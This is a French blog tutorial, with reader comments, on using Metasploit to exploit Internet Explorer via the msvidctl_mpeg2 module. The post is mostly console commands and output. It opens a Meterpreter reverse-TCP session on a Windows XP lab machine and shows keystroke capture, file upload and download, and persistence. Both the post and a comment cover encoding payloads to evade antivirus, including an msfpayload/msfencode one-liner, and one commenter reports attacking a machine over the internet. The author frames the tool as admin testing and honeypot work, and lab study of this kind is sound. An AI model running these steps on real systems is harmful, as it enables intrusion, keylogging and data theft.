Bijour à vous …
Aujourd’hui, un petit article pour introduire (ou pas) metasploit (un framework pour tester la vulnérabilité des machines sur son réseau ou ailleurs ^^) et meterpreter (qui permet l’utilisation de script pour automatiser certain truc), suite à la lecture d’un sympatique article, qui montrait comment se connecter à une machine windows via l’utilisation de deux payloads, la première pour executer la deuxième en différé et ainsi sortir du logiciel planté (la faille exploitée faisant planter IE7, on perdait donc la connexion à la machine), je ne vais pas vous faire un copier/coller de l’article en question, mais seulement montrer quelques commandes et outils sympa pour utiliser la suite metasploit.
Donc voilà, sous linux, il suffit :
- D’installer ruby : apt-get install ruby libruby rdoc libyaml-ruby libzlib-ruby libopenssl-ruby libdl-ruby libreadline-ruby libiconv-ruby rubygem
- De checkout ce dépot svn : http://metasploit.com/svn/framework3/trunk/
Voilà, nous somme prêts à : conquérir le monde / devenir un lamerz / mettre une dérouillé à ses pôtes à la prochaine lan party rayez les mentions inutiles.
Il vous faut bien entendu plusieurs machines sur votre réseau local, ou une machine virtuelle qui sera la cible (chez moi une machine windows répondant au doux nom de 192.168.0.18) et mon foudre de guerre (un Amstrad 6128 …) répondant au doux nom de 192.168.0.15.
Une utilisation plutôt générique de la bestiole ce fait ainsi :
-
[sudo] password for kikoo:
-
-
_ _
-
_ | | (_)_
-
____ ____| |_ ____ ___ ____ | | ___ _| |_
-
| \ / _ ) _)/ _ |/___) _ \| |/ _ \| | _)
-
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
-
|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
-
|_|
-
-
=[ msf v3.3-dev
-
+ — –=[ 324 exploits – 221 payloads
-
+ — –=[ 20 encoders – 6 nops
-
=[ 103 aux
-
-
msf > <strong>use exploit/windows/browser/msvidctl_mpeg2</strong>
Ici on charge l’exploit msvidtcl_mpeg2 (qui n’est pas encore corrigé par Miss Crosoft)
-
msf exploit(msvidctl_mpeg2) > <strong>set PAYLOAD windows/meterpreter/reverse_tcp</strong>
Ici on choisit la charge, pour ma part : un bon vieux BFG / 50mm pour Gatlin / une connexion tcp inverse (rayez les mentions inutiles
) qui permet de contourner les firewalls/routeurs basique
-
PAYLOAD => <strong>windows/meterpreter/reverse_tcp</strong>
-
msf exploit(msvidctl_mpeg2) > <strong>show options</strong>
On mat les options, que l’on peut modifier via les set plus bas
-
-
Name Current Setting Required Description
-
—- ————— ——– ———–
-
SRVHOST 0.0.0.0 yes The local host to listen on.
-
SRVPORT 8080 yes The local port to listen on.
-
SSL false no Use SSL
-
URIPATH no The URI to use for this exploit (default is random)
-
-
Payload options (windows/meterpreter/reverse_tcp):
-
-
Name Current Setting Required Description
-
—- ————— ——– ———–
-
EXITFUNC process yes Exit technique: seh, thread, process
-
LHOST yes The local address
-
LPORT 4444 yes The local port
-
-
Exploit target:
-
-
Id Name
-
– —-
-
0 Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0
-
-
msf exploit(msvidctl_mpeg2) > <strong>set SRVHOST 192.168.0.15</strong>
-
SRVHOST => 192.168.0.15
-
msf exploit(msvidctl_mpeg2) > <strong>set SRVPORT 80</strong>
-
SRVPORT => 80
-
msf exploit(msvidctl_mpeg2) > <strong>set URIPATH kikoo</strong>
-
URIPATH => kikoo
-
msf exploit(msvidctl_mpeg2) > <strong>set LHOST 192.168.0.15</strong>
-
LHOST => 192.168.0.15
Maintenant que j’ai set mes ips et port, je peux donc lancer l’exploit …
-
[*] Exploit running as background job.
-
msf exploit(msvidctl_mpeg2) >
-
[*] Handler binding to LHOST 0.0.0.0
-
[*] Started reverse handler
-
[*] Using URL: http://192.168.0.15:80/kikoo
-
[*] Server started.
A partir de maintenant, si une machine sous windows se connecte à notre serveur sur le port 80 (http) avec Internet Explorer, pas mal de chose bizzare vont ce produire ^^.
Ce qui va d’ailleurs ce produire :
-
[*] Sending exploit to 192.168.0.18:1100…
-
[*] Sending GIF to 192.168.0.18:1100…
-
[*] Transmitting intermediate stager for over-sized stage…(216 bytes)
-
[*] Sending stage (718336 bytes)
-
[*] Meterpreter session 1 opened (192.168.0.15:4444 -> 192.168.0.18:1102)
Ici, metasploit nous indique, qu’une session a pu être ouverte sur la machine distante … je peux ouvrir la session en question en tapant la commande suivante :
-
-
[*] Starting interaction with 1…
A partir de maintenant, je peux utiliser l’ensemble des scripts fournit par meterpreter (taper help pour de l’aide)
-
-
Core Commands
-
=============
-
-
Command Description
-
——- ———–
-
? Help menu
-
background Backgrounds the current session
-
channel Displays information about active channels
-
close Closes a channel
-
exit Terminate the meterpreter session
-
help Help menu
-
interact Interacts with a channel
-
irb Drop into irb scripting mode
-
migrate Migrate the server to another process
-
quit Terminate the meterpreter session
-
read Reads data from a channel
-
run Executes a meterpreter script
-
use Load a one or more meterpreter extensions
-
write Writes data to a channel
-
-
Stdapi: File system Commands
-
============================
-
-
Command Description
-
——- ———–
-
cat Read the contents of a file to the screen
-
cd Change directory
-
download Download a file or directory
-
edit Edit a file
-
getlwd Print local working directory
-
getwd Print working directory
-
lcd Change local working directory
-
lpwd Print local working directory
-
ls List files
-
mkdir Make directory
-
pwd Print working directory
-
rmdir Remove directory
-
upload Upload a file or directory
-
-
Stdapi: Networking Commands
-
===========================
-
-
Command Description
-
——- ———–
-
ipconfig Display interfaces
-
portfwd Forward a local port to a remote service
-
route View and modify the routing table
-
-
Stdapi: System Commands
-
=======================
-
-
Command Description
-
——- ———–
-
execute Execute a command
-
getpid Get the current process identifier
-
getuid Get the user that the server is running as
-
kill Terminate a process
-
ps List running processes
-
reboot Reboots the remote computer
-
reg Modify and interact with the remote registry
-
rev2self Calls RevertToSelf() on the remote machine
-
shutdown Shuts down the remote computer
-
sysinfo Gets information about the remote system, such as OS
-
-
Stdapi: User interface Commands
-
===============================
-
-
Command Description
-
——- ———–
-
enumdesktops List all accessible desktops and window stations
-
idletime Returns the number of seconds the remote user has been idle
-
keyscan_dump Dump they keystroke buffer
-
keyscan_start Start capturing keystrokes
-
keyscan_stop Stop capturing keystrokes
-
setdesktop Move to a different workstation and desktop
-
uictl Control some of the user interface components
Voilà l’ensemble des choses plutôt sympa que fournit l’outil, pour ma part, j’ai testé plusieurs trucs :
La récupération des informations sur la machine et ses interfaces IP, le genre de truc inintéressant … :
-
-
MS TCP Loopback interface
-
Hardware MAC: 00:00:00:00:00:00
-
IP Address : 127.0.0.1
-
Netmask : 255.0.0.0
-
-
Carte AMD PCNET Family Ethernet PCI – Miniport d'ordonnancement de paquets
-
Hardware MAC: 08:00:27:ac:2e:b6
-
IP Address : 192.168.0.18
-
Netmask : 255.255.255.0
-
meterpreter > <strong>sysinfo</strong>
-
Computer: ORDINATEUR
-
OS : Windows XP (Build 2600, Service Pack 2).
-
Puis l’utilisation du sniffer … déjà plus intéressant :
-
Starting the keystroke sniffer…
-
meterpreter > <strong>keyscan_dump</strong>
Pour afficher ce qui a été tapé au clavier (ici n’importe quoi)
-
dgdf ki C/ Progr 8Sys Com 8
Sinon, d’autre commande sont sympa comme :
upload « nom du fichier » qui permet d’uploader des fichiers sur la machines cible
download « nom du fichier » qui permet de télécharger des fichiers depuis la machine cible
kill, reboot, reg (ça se devine). Et aussi l’utilisation de run avec le scheduleme (dans le premier lien) qui est super intéressant dans le cadre de l’utilisation de la faille exploité par cette article, et d’autre aussi, pour garder un backdoor de secours en cas de fermeture/redémarrage du soft planté par l’exploit.
Mais voilà … vous avez suivi ces quelques commandes sur une machine windows avec un antivirus plus ou moins à jour et il râle pas mal (si il ne râle pas … c’est que y’a un problème ^^).
C’est naze et inutile ton truc 2G … et non, les développeurs l’avait prévu, pour créer des payloads qui passent les antivirus, il suffit de blinder les charges (voir le set encoding, lors de la création des paramètres).
La question est maintenant … pourquoi un tel logiciel existe ??
Il y a plusieurs raisons … (la domination du monde par les scriptkiddies et kikoolol n’en faisant pas partie :s).
Permettre à des administrateurs de tester la vulnérabilité des machines/softs qui trainent sur leurs réseaux, et ce plutôt facilement, le framework n’étant pas dédié à être « stealth » vis-a-vis des antivirus, l’utilisation du logiciel pour le piratage d’un pc « hors de controle » (appartenant à quelqu’un de non consentant ^^) est plutôt limité (à part si l’on développe son propre encodage de payload et là …)
Pour ma part, une idée d’utilisation relèverait plus du honeypot, dans le cas de figure de l’un de mes articles précédent, lorsqu’un spammeur prend le contrôle d’un serveur et y pose des scripts dans le but d’automatiser son « boulot », il accède à des urls directement, sans trop faire gaffe (ce qui était le cas dans l’attaque en question). On pourrait donc remplacer son script par une backdoor (en utilisant un exploit correspondant au faible informations chopées dans les logs) et récupérer un accès sur sa machine (ou tout du moins l’avertir qu’il n’est plus le bienvenue sur notre serveur via son antivirus qui ralerait suite au chargement de la payload, quoique dans le cas du msvidctl_mpeg2 le chargement de l’activX en ferait tilter plus d’un
).

Superbe explication, félicitation.
Question,
J’ai essayé sur mon réseau locale et aucun soucis.
Je voudrais essayer à distance mais pas moyen…
D’un coté mon pc fixe en DMZ (redirection de tous ports, livebox), de l’autre mon portable (du boulot en DMZ pareil).
J’accède à ma page @ipPublique:80/exploit, aucun soucis ie plante, je vois bien sur msf serveur qu’il y a les étapes qui se déroulent sauf que je ne récupère pas de meterpreter ni de shell ni quoique ce soit (quelque soit le payload)… Je me demande pourquoi? le NAT est dit inexistant, la machine faillible est la même à la seule différence c’est que c’est ma compagne qui lance ie à distance :s
Si vous pouviez m’éclairer
Cordialement, Stef’
Que signifie « le NAT est dit inexistant » ?
Est-ce que le réseau de l’entreprise embarque des systèmes de types IDS/IPS sur le réseaux ? (Ou d’autres systèmes qui peuvent parfois dropper les paquets « dangeureux »)
Est-ce que tout les ports sont bien redirigés ? (y compris celui du reverse, ce qui pourrait expliquer la « non » création de la session meterpreter après execution de la payload).
Sinon, j’ai aussi remarqué que lorsque l’on a deux ip pour un même ordi (genre une connexion wifi et une connexion rj45) et que l’on assigne l’ip d’une interface, mais que l’on se connecte à l’autre ip, la session n’est pas crée, mais le reste fonctionne (ce qui est d’ailleur assez bizzare comme fonctionnement la connexion ne devrait pas avoir lieu).
Donc il faut bien renseigner le serveur en 0.0.0.0 et dans l’ip du reverse l’ip public.
Après je sais pas trop … y’aurait pas un firewall ou un antivirus qui traine ?
« NAT dit inexistant » dans la mesure où les deux machines étaient en DMZ (je m’explique sinon je vais passer pour gugus si ce n’est déjà fait… J’étais en direct pas de firewall, ids etc ils viennent seulement après.
J’ai réussi, je me trompé dans l’adresse du reverse :s, tête en l’air je mettais l’@ privée.
Merci beaucoup en tout cas pour cette réponse rapide et de qualité.
Bonne fin de journée.
Stef’
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.15 LPORT=4444 | ./msfencode -e x86/shikata_ga_nai -t raw | ./msfencode -e x86/fnstenv_mov -t raw | ./msfencode -t exe -o rmeter.exe
fonctionne pas.. c bien joli de bousiller un payload pour qu’il soit plus reconnu par les av mais faudrai quand meme verifier si ton shell fonctionne aprés..
Oui, en fait, il faut plutôt passer par la commande « set encoding » lors de la création de l’exploit, cette méthode rendant inexécutable, l’exécutable généré … (mais lors de la rédaction de cette article cette commande a fonctionnée
, depuis le moteur d’encoding a été réécrit, il se peut donc qu’en effet, cette commande ne fonctionne plus).